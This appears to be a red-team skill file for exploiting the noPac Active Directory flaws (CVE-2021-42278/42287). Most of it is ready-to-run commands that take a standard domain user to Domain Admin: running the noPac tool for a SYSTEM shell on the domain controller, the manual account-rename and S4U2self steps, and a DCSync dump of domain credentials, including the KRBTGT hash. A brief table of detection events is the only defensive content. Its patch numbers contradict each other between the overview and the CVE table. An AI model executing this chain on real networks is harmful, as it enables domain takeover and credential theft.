exploiting-nopac-cve-2021-42278-42287

name	exploiting-nopac-cve-2021-42278-42287
description	Exploit the noPac vulnerability chain (CVE-2021-42278 sAMAccountName spoofing and CVE-2021-42287 KDC PAC confusion) to escalate from standard domain user to Domain Admin in Active Directory environments.
domain	cybersecurity
subdomain	red-teaming
tags	["red-team","active-directory","nopac","cve-2021-42278","cve-2021-42287","privilege-escalation","domain-escalation"]
version	1.0
author	mahipal
license	Apache-2.0

Exploiting noPac (CVE-2021-42278 / CVE-2021-42287)

Overview

noPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing $). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending $ and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021.

Objectives

• Scan the target domain for noPac vulnerability (CVE-2021-42278/42287)
• Create or leverage a machine account with modified sAMAccountName
• Exploit the KDC PAC confusion to obtain a TGT for the Domain Controller
• Use the DC ticket to perform DCSync and dump domain credentials
• Achieve Domain Admin access from a standard domain user account
• Document the complete exploitation chain with evidence

MITRE ATT&CK Mapping

• T1068 - Exploitation for Privilege Escalation
• T1136.002 - Create Account: Domain Account
• T1078.002 - Valid Accounts: Domain Accounts
• T1558 - Steal or Forge Kerberos Tickets
• T1003.006 - OS Credential Dumping: DCSync

Implementation Steps

Phase 1: Vulnerability Scanning

1. Check if the domain is vulnerable using the noPac scanner:

   # Using cube0x0's noPac scanner
   python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1
   
   # Using CrackMapExec module
   crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac
   

2. Verify the MachineAccountQuota (default is 10, allows any user to join computers):

   # Check MachineAccountQuota via LDAP
   python3 -c "
   import ldap3
   server = ldap3.Server('10.10.10.1')
   conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)
   conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])
   print(conn.entries[0]['ms-DS-MachineAccountQuota'])
   "
   

Phase 2: Exploitation with noPac Tool

1. Run the full noPac exploit chain:

   # Using cube0x0's noPac (gets a shell on the DC)
   python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
     -dc-host DC01 -shell --impersonate administrator -use-ldap
   
   # Using Ridter's noPac (alternative implementation)
   python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
     --impersonate administrator -dump
   

2. The exploit automatically:
   • Creates a new machine account (or uses an existing one)
   • Renames the machine account's sAMAccountName to match the DC (e.g., "DC01")
   • Requests a TGT for the spoofed account name
   • Restores the original sAMAccountName
   • Uses S4U2self to obtain a service ticket impersonating the target user
   • The KDC finds no account matching "DC01" and falls back to "DC01$" (the real DC)

Phase 3: Post-Exploitation

1. With the obtained Domain Controller ticket, perform DCSync:

   # DCSync using secretsdump.py with the Kerberos ticket
   export KRB5CCNAME=administrator.ccache
   secretsdump.py -k -no-pass domain.local/[e-mail]
   
   # Or directly through the noPac shell
   # The shell runs as SYSTEM on the DC
   

2. Alternatively, obtain a semi-interactive shell:

   python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
     -dc-host DC01 -shell --impersonate administrator -use-ldap
   

Phase 4: Manual Exploitation Steps

1. Create a machine account:

   addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \
     -dc-ip 10.10.10.1 domain.local/user:'Password123'
   

2. Clear the SPN and rename sAMAccountName:

   # Rename machine account sAMAccountName to DC name (without $)
   renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \
     -dc-ip 10.10.10.1 domain.local/user:'Password123'
   

3. Request a TGT for the spoofed name:

   getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123'
   

4. Restore the original machine name:

   renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \
     -dc-ip 10.10.10.1 domain.local/user:'Password123'
   

5. Use S4U2self for impersonation:

   export KRB5CCNAME=DC01.ccache
   getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \
     -k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'
   

Tools and Resources

Tool	Purpose	Platform
noPac (cube0x0)	Automated scanner and exploiter	Python
noPac (Ridter)	Alternative exploit implementation	Python
Impacket	Kerberos ticket manipulation, DCSync	Python
CrackMapExec	Vulnerability scanning module	Python
Rubeus	Windows Kerberos ticket operations	Windows (.NET)
secretsdump.py	Post-exploitation credential dumping	Python

CVE Details

CVE	Description	CVSS	Patch
CVE-2021-42278	sAMAccountName spoofing (machine accounts)	7.5	KB5008102
CVE-2021-42287	KDC PAC confusion / privilege escalation	7.5	KB5008380

Detection Signatures

Indicator	Detection Method
Machine account sAMAccountName change	Event 4742 (computer account changed) with sAMAccountName modification
New machine account creation	Event 4741 (computer object created)
TGT request for account without trailing $	Kerberos audit log analysis
S4U2self requests from non-DC machine accounts	Event 4769 with unusual service ticket requests
Rapid sequence: create account, rename, request TGT	SIEM correlation rule for noPac attack pattern

Validation Criteria

• Domain scanned for noPac vulnerability
• MachineAccountQuota verified (default 10)
• Exploit executed successfully (shell or DCSync)
• Domain Admin privileges obtained from standard user
• DCSync performed to dump domain credentials
• KRBTGT hash obtained for persistence validation
• Attack chain documented with timestamps
• Patch status verified (KB5008380, KB5008602)